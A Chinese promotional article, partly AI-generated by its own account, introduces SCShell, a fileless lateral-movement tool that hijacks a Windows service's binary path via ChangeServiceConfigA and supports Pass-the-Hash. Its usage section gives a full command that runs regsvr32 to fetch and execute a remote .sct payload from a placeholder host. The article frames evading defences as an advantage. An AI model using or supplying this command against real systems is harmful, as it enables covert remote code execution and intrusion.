SCShell:无文件横向移动工具的革命
去发现同类优质开源项目:https://gitcode.com/
项目介绍
SCShell 是一款创新的无文件横向移动工具,它利用 ChangeServiceConfigA
函数在不进行 SMB 认证的情况下远程执行命令。这个工具的独特之处在于,它无需注册服务或在远程系统上创建文件(取决于执行技术)即可工作。
项目技术分析
SCShell 不是通过创建新服务来运行,而是直接远程打开一个服务,并通过 ChangeServiceConfigA
API 修改二进制路径名。然后启动服务,当执行完成后,它会将服务的二进制路径恢复到原始状态。所有这些操作都通过 DCERPC 完成,包括身份验证。这一设计使得它的隐蔽性大大增强。
项目及技术应用场景
- 渗透测试:安全专业人士可以利用 SCShell 在不影响系统正常运行的前提下,进行安全评估和漏洞检测。
- 恶意活动:不幸的是,这样的工具也可能被恶意攻击者用于在企业内部网络中悄悄移动,绕过传统的防御机制。
- 应急响应:在修复系统时,可以在不留下临时文件痕迹的情况下执行命令。
项目特点
- 无文件执行:SCShell 可以在不留下任何可执行文件的情况下运行,提高了其在复杂环境下的生存率。
- DCERPC 身份验证:所有的通信和认证都在 DCERPC 层面上完成,避免了在 SMB 协议上的暴露。
- 支持多种语言:目前提供 C 语言实现,未来还将移植到 C# 和 PowerShell,为用户提供更多选择。
- Pass-the-Hash 支持:Python 实现的版本(scshell.py)允许使用 Pass-the-Hash 技术进行远程认证,增强了灵活性。
使用方法
SCShell 的使用非常简单,只需输入目标机器 IP、要利用的服务名、payload 地址、域及用户名和密码。例如:
SCShell.exe 192.168.197.131 XblAuthManager "C:\windows\system32\cmd.exe /c C:\windows\system32\regsvr32.exe /s /n /u /i://your.website/payload.sct scrobj.dll" . administrator Password
此外,还提供了 Python 版本(scshell.py),支持 Pass-the-Hash 技术。
总的来说,SCShell 提供了一种高效且难以追踪的方法来进行远程系统交互,对于安全研究和防御策略的提升具有重大意义。无论是为了学习还是专业用途,SCShell 都值得你尝试!
去发现同类优质开源项目:https://gitcode.com/
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考